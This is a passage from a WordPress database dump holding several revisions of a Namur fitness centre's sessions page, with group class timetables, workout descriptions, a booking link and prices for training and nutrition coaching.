(449, 1, '2014-08-31 08:08:03', '2014-08-31 08:08:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:08:03', '2014-08-31 08:08:03', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(452, 1, '2014-08-31 08:29:17', '2014-08-31 08:29:17', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt; - &lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:29:17', '2014-08-31 08:29:17', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(495, 3, '2015-09-02 17:04:28', '2015-09-02 17:04:28', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2015-09-02 17:04:28', '2015-09-02 17:04:28', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(455, 1, '2014-08-31 08:41:03', '2014-08-31 08:41:03', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du 